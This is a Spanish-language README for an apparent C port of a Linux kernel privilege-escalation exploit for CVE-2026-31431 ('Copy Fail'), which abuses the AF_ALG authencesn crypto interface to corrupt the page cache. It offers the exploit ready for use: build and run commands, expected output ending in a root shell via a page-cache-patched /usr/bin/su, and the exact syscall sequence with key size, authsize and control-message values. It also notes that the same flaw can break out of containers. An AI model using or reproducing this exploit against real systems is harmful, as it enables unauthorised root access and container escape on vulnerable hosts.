
Exploit de escalada de privilegios local basado en C para CVE-2026-31431, una vulnerabilidad del kernel de Linux en la interfaz criptográfica AF_ALG, que proporciona acceso root mediante la manipulación de la caché de páginas.
Copy Fail (CVE-2026-31431) — es una vulnerabilidad lógica en el kernel de Linux que permite a un usuario local sin privilegios escalar privilegios hasta el nivel de superusuario (root). La vulnerabilidad pertenece a la clase Local Privilege Escalation (LPE), no requiere condiciones de explotación complejas (como race condition o adivinación de direcciones de memoria) y funciona "de fábrica" en la mayoría de las distribuciones de Linux publicadas después de 2017.
Este repositorio contiene un port del exploit original en Python al lenguaje C con comentarios detallados, apto para compilación estática y uso en entornos mínimos.
La vulnerabilidad surge de un error lógico en el subsistema criptográfico del kernel de Linux, relacionado con el manejo de AF_ALG (interfaz de la API criptográfica del kernel) y el mecanismo de caché de páginas (page cache).
El error fue introducido en 2017 al añadir una optimización que eliminó el buffering adicional mediante la ejecución de operaciones de cifrado por bloques AEAD (Authenticated Encryption with Associated Data) in-place. Debido al manejo incorrecto de los límites de los buffers en el algoritmo authencesn (parte de la plantilla criptográfica AEAD), se produce una escritura de 4 bytes fuera de los límites del buffer asignado, lo que provoca la corrupción de las estructuras de control de la caché de páginas.
Como resultado, el kernel puede escribir datos de vuelta en la caché de páginas de un archivo, incluso si fue abierto solo para lectura (O_RDONLY).
AF_ALG e inicializa el algoritmo AEAD authencesn(hmac(sha256),cbc(aes)).setsockopt() se establecen parámetros anómalos:
sendmsg() con control messages se inicia la operación de descifrado.splice() mueve datos del archivo objetivo (abierto con O_RDONLY) al socket criptográfico.authencesn, la caché de páginas del archivo se corrompe y los datos "descifrados" se escriben de vuelta en la caché.root.| Componente | Descripción |
|---|---|
| Kernel de Linux | Todas las versiones desde 2017 hasta la inclusión del parche correctivo |
| Subsistema | crypto (módulo algif_aead) |
| Interfaz | AF_ALG — acceso de usuario a la crypto-API del kernel |
| Llamada al sistema | splice() en combinación con sockets AF_ALG |
Distribuciones vulnerables (al usar kernels con el módulo algif_aead cargado):
Importancia especial: en entornos de contenedores (Docker, LXC, Kubernetes), los procesos dentro del contenedor tienen acceso por defecto al subsistema AF_ALG si el módulo algif_aead está cargado en el kernel del host. Esto crea un riesgo de ruptura del aislamiento del contenedor y de obtener control sobre la máquina host.
Verificación de la vulnerabilidad:
# Verificar si el módulo algif_aead está cargado
lsmod | grep algif
# Verificar la presencia de AF_ALG en el kernel
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
El exploit original fue escrito en Python (≈732 bytes). Este port a C tiene las siguientes características:
libz.strace).recv() no bloqueante — evita el cuelgue, replicando el comportamiento de try/except de Python.Diferencias clave respecto a la versión en Python, identificadas durante el port:
| Parámetro | Python | C (este port) |
|---|---|---|
Flag de sendmsg() | MSG_MORE | MSG_MORE |
Flag de splice() | 0 | 0 |
| Desplazamiento en pipe | NULL | NULL |
| Tamaño de clave | 40 bytes | 40 bytes |
cmsg_len | 20/36/20 | 20/36/20 (fijo) |
| Creación de pipe | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | Bloqueante con try/except | No bloqueante (O_NONBLOCK) |
# Se requiere libz (zlib1g-dev o zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
Si la explotación tiene éxito, se ejecutará una versión parcheada de /usr/bin/su que proporciona acceso root sin solicitar contraseña.
Salida esperada:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su abierto
[+] 40 chunks
[*] 40/40 ok
# id
uid=0(root) gid=0(root) groups=0(root)
A continuación se presenta un análisis detallado de cada paso del exploit con las llamadas al sistema correspondientes:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
Se crea un socket para acceder a la API criptográfica del kernel. El algoritmo authencesn (Authenticated Encryption with Sequence Numbers) es un algoritmo AEAD compuesto que utiliza AES-CBC para el cifrado y HMAC-SHA256 para la autenticación.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 ceros), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 ceros), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 ceros)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
Se crea una conexión para la operación. A través de sendmsg() con control messages (CMSG) se establecen los parámetros:
ALG_OP_DECRYPT = 0).Todas estas anomalías crean inconsistencias en la gestión de memoria del kernel.